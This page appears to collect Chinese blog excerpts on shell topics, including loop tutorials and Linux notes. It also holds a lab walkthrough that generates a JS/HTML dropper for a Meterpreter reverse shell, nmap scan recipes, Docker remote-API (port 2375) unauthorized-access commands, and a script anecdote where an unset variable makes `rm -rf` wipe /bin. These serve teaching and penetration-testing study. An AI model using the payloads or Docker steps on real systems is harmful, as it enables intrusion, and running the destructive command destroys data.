shell脚本

[Shell]利用JS文件反弹Shell

吃可爱长大的小学妹 提交于 2019-11-29 21:55:15
0x01 模拟环境 攻击: kali ip: 192.168.248.132 测试: windows 7 x64 ip: 192.168.248.136 0x02 工具地址 https://github.com/CroweCybersecurity/ps1encode git clone https://github.com/CroweCybersecurity/ps1encode.git 0x03 漏洞复现 1.生成js脚本 ./pslencode.rb --LHOST 192.168.248.132 --LPORT 4444 --PAYLOAD windows/meterpreter/reverse_tcp --ENCODE cmd -t js 复制文本放到文件中生成1.js文件 2.监听端口反弹shell use exploit/multi/handler 3.windows执行文件 直接执行的话可能比较明显,所以参照文章我们写了一个1.html文件 4.执行1.html文件,选择运行->允许阻止内容->选择是,就反弹成功了 5.获取shell 来源: https://www.cnblogs.com/-mo-/p/11536432.html

Shell脚本应用 – for、while循环语句

偶尔善良 提交于 2019-11-29 21:47:54
通过 Shell 脚本 应用(二)学习到了if条件条件语句的使用方法等。 Shell 作为一种 脚本 编程语言,同样了包含了循环,分支等其他程序控制结构,从而能够轻松完成更加复杂、强大的功能。我们今天就来认识for、while、case语句的具体应用。 一、for循环语句 在实际工作中,经常会遇到某项任务需要多次执行的情况,而每次执行时仅仅是处理的对象不一样,其他 命令 相同。例如:根据通讯录中的姓名列表创建系统账号等情况。 当面对各种列表重复工作任务时,使用if语句已经不能满足需要了,就需要使用到for语句。 1.for语句结构 使用for循环语句时,需要指定一个变量及可能的取值列表,针对不同的取值重复执行相同的 命令 序列,知道变量值用完退出循环。 1)for循环语句的语法结构: for 变量名 in 取值列表 do 命令序列 done 语句结构中,for语句的操作对象为用户吧指定名称的变量,并通过in关键字为该变量预先设置了一个取值列表,多个取值之间用空格进行分隔。位于do……done之间的命令序列称为循环体,其中的执行语句需要应用变量以完成相应的任务。 2)for循环语句流程图 3)for循环语句的使用场景 1. 循环次数未知; 2.完整遍历整个取值列表。 2.for语句应用示例 要求: 1.根据姓名列表批量创建用户; 2.用户的初始密码是“123456” 实施步骤:

Linux shell 误操作

旧街凉风 提交于 2019-11-29 21:44:36
shell脚本在日常运维中是必不可少会应用到,下面是自己亲身经历过的一件事。会了定期清除日志,编写了一个shell脚本,内容如下: [root@centos-01 tmp]# more remote_log.sh #!/bin/bash # # PRO_LIST="/ultrapower/interface/tomcat-6.0.53/logs" #move file for PRO_PATH in $PRO_LIST do if [ ! -d $PRO_PATH ];then echo "-----$PRO_PATH path no exist-------" breakelse find $BAK_PATH/* -type f -mtime +60 -exec rm -rf {} \; fi done 内容很简单,大家应该能发现问题,其中倒数第三行中$BAK_PATH 变更是不存在的。 以上脚本如果在服务器上运行的话就惨了。 下面是我在测试环境下做的实验,大家都不要测试了。其实是我在生产中遇到的,当时蒙了一瞬间,立刻按下了ctrl+c。但发现系统在次登录已经无法登录了,很多命令无法使用,还好当时有一个终端在连接着,查看了一下发现/bin目录下的文件被删除了一部分。后来我通过sftp命令从别的系统上下载了/bin目录下的文件。系统基本是恢复了。这次还好是幸运的。 [root

linux 学习笔记四

不羁岁月 提交于 2019-11-29 21:29:23
linux 学习笔记四 shell 执行过程 bash 类型 Login Bash Interactive Bash shell 执行 • 父 shell Fork 一 sub-shell • Sub-shell继承父shell环境 • Sub-shell调用指定的解释器解释执行该脚本 • Sub-shell退出,相关环境被销毁 • 父 shell 取得 sub-shell 的退出状态 shell 解析 1 、 brace expansion (花括号扩展) 2 、 tilde expansion (波浪线扩展) 3 、 parameter, variable expansion (变量扩展) 4 、 arithmetic expansion (算术扩展) 5 、 command substitution (命令替换) 6 、 word splitting (词的拆分) 7 、 pathname expansion (路径名扩展) Bash 语法 变量 • 变量赋值: name=value • 变量引用: ${name} 合法的变量名: 字母、下划线、数字 注意: – = 号两边不允许空格 – $name 是 ${name} 的简写 常用变量 数值计算 / % ( 加 , 减 , 乘 , 除 , 取模 ) i=10; j=20; (( i++ )) (( cnt=i+j)) cnt

渗透测试工具

微笑、不失礼 提交于 2019-11-29 20:53:34
最好的 NMAP 扫描策略 # 适用所有大小网络最好的 nmap 扫描策略 # 主机发现,生成存活主机列表 $ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24 $ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt # 端口发现,发现大部分常用端口 # http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf $ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt $ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt $ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt # 端口发现,发现全部端口,但 UDP 端口的扫描会非常慢 $ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt $ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt # 显示 TCP\UDP 端口 $ grep "open"

shell day01总结

别说谁变了你拦得住时间么 提交于 2019-11-29 19:27:19
,Iptables –Z 清空再计数 内存是如何工作的?是干什么的? 随机存取存储器又称作“ 随机存储器 ”, 是与CPU直接交换的内部存储器,也叫主存。它可以随时读写,而且速度很快,通常作为 操作系统 或其他正在运行中的程序的临时 数据存储 媒介。 易失性: 当电源关闭时 RAM不能保留数据。如果需要保存数据,就必须把它们写入一个长期的存储设备中(例如硬盘)。 RAM和 ROM相比,两者的最大区别是 RAM在断电以后保存在上面的数据会自动消失,而 ROM则不会。 >Gnu 软件程序 > linux lernel 内核 >Gcc Gnu编译器套件 >安卓系统底层是基于 Linux的,是基于 C和 C++的, 上层应用大部分是基于“ JAVA"的。 >操作系统的工作过程: Shell 默认程序 :bash (kernel 管理CPU 内存 IO(总线,外设)) >什么是软链接和硬链接 硬链接:通过文件系统的(inode)来产生新档名,而不是产生新档案。 软链接:看作是Windows中的快捷方式,可以让你快速链接到目标档案或目录 >shell脚本基础: 看ban中文手册 builtin 内建 alias别名 bind 结合 exec 执行 bin 目录存放二进制文件 history 查看之前的命令的历史记录 > > .代表隐藏 > > > crontab做定时任务 >

[Shell]Docker remote api未授权访问漏洞(Port=2375)

吃可爱长大的小学妹 提交于 2019-11-29 19:24:12
0x01 简介 该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker。 docker swarm是docker下的分布化应用的本地集群,在开放2375监听集群容器时,会调用这个api 当某个主机开放了2375端口时,就要注意了! url输入 ip:2375/version 就会列出基本信息,和docker version命令效果一样。 同样,url为 ip:2375/v1.23/containers/json 会列出容器信息,和docker ps -a效果一样。 0x02 漏洞复现 通过docker客户端远程执行目标服务器容器命令: 1 列出所有镜像: docker -H tcp://*.*.*.*:2375 images 2 列出所用容器 docker -H tcp://*.*.*.*:2375 ps -a 3 进入容器两种方法: 3.1 进入已有的容器 start 启动一个已经停止的容器 attach 连接一个已经停止的容器 当然这个容器默认 entrypoint 必须是 /bin/bash ,关于这点可以在json里看到,还有挂载,后面提权会用到,这个也可以在json文件里看到。 3.2 开启新容器 新运行一个容器并将 entrypoint 设置为 /bin

Linux环境变量文件介绍

风格不统一 提交于 2019-11-29 15:29:10
在Linux系统中,环境变量按照其作用范围不同大致可以分为系统级环境变量和用户级环境变量。 系统级环境变量: 每一个登录到系统的用户都能够读取到系统级的环境变量 用户级环境变量: 每一个登录到系统的用户只能够读取属于自己的用户级的环境变量 自然而然地,环境变量的配置文件也相应的被分成了系统级和用户级两种。 系统级 /etc/profile 在系统启动后第一个用户登录时运行,并从/etc/profile.d目录的配置文件中搜集shell的设置,使用该文件配置的环境变量将应用于登录到系统的每一个用户。 提示: 在Linux系统中,使用以下命令可以使配置文件立刻生效。 source /etc/profile echo $PATH /etc/bashrc(Ubuntu和Debian中是/etc/bash.bashrc) 在 bash shell 打开时运行,修改该文件配置的环境变量将会影响所有用户使用的bash shell。 注意: 这里的bash shell有不同的类别,不同的类别所使用的环境变量配置文件也有所不同。一般情况下,非登录shell不会执行任何profile文件,非交互shell模式不会执行任何bashrc文件。 # 登录shell和非登陆shell: 登录shell # 需要输入用户密码,例如 ssh 登录或者 su - 命令提权都会启动login shell模式

shell的退出状态码

此生再无相见时 提交于 2019-11-29 15:13:29
shell中运行的每个命令都使用 退出状态码(exit status) 。退出状态码是一个0~255的整数,在命令结束运行时有命令传给shell。 查看退出状态码 Linux提供了一个专门的变量 $? 来保存上一个已执行命令的退出状态码。对于需要进行检查的命令,必须在其运行完毕后立刻查看或使用 $? 变量。它的值会变成有shell所执行的最后一条命令的退出状态码。 一个成功结束的命令的退出状态码是0。Linux错误退出状态码没有什么标准可循,但有一些可用的参考: 状态码 描述 0 命令成功结束 1 一般性未知错误 2 不适合的shell指令 126 命令不可执行 127 没找到命令 128 无效的退出参数 128+x 与Linux信号x相关的严重错误 130 通过 Ctrl+C 终止的命令 255 正常范围之外的退出状态码 举例说明: 无效的命令会返回一个退出状态码127。 退出状态码126,表明用户没有执行命令的正确权限。 给命令提供了无效参数,会产生一般性的退出状态码1,表明在命令中发生了未知错误。 exit 命令 默认情况下,shell脚本会以脚本中的最后一个命令的退出状态码退出。 使用exit命令可以改变这种行为,允许你在脚本结束时指定一个退出状态码。 退出状态码是一个0~255的整数,参数太大,会被系统取模。 来源: 51CTO 作者: 骑士救兵 链接: https:/

Shell脚本学习

会有一股神秘感。 提交于 2019-11-29 12:24:13
Shell脚本学习 参考视频:https://www.bilibili.com/video/av21303002/?p=60 1、 编写第一个脚本文件 必须以#! /bin/bash 开头,表示是用bash进行解析脚本的 shell文件必须有可执行权限 —chmod 744 myShell.sh 执行方法:./myShell.sh 也可以绝对路径/home/fongfiafia/shell/myShell.sh 执行 多行注释:<<! ! 2、shell的变量 分类:分为系统变量和用户自定义变量 系统变量:$HOME 你可以echo 例子: echo “PATH = $PATH” 例子:set查看当前shell中所有变量 定义变量 定义变量: 变量 = 值 (等号两边不能有空格) 例子: A=10 ECHO “A = $A” 撤销变量: unset 变量 声明静态变量: readonly 不能unset 可以把一个变量提升为全局变量 定义变量的规则 和java一样不能数字开头 等号两侧不能有空格 变量名称一般习惯大写 怎么讲运行结果返回给变量 反引号:A = 'ls -l /home' MY_DATE=$(date) 设置环境变量 例子:etc/profile 里面有一个环境变量,myshell.sh要使用它。必须先执行 ​ source etc/profile 让它生效: ​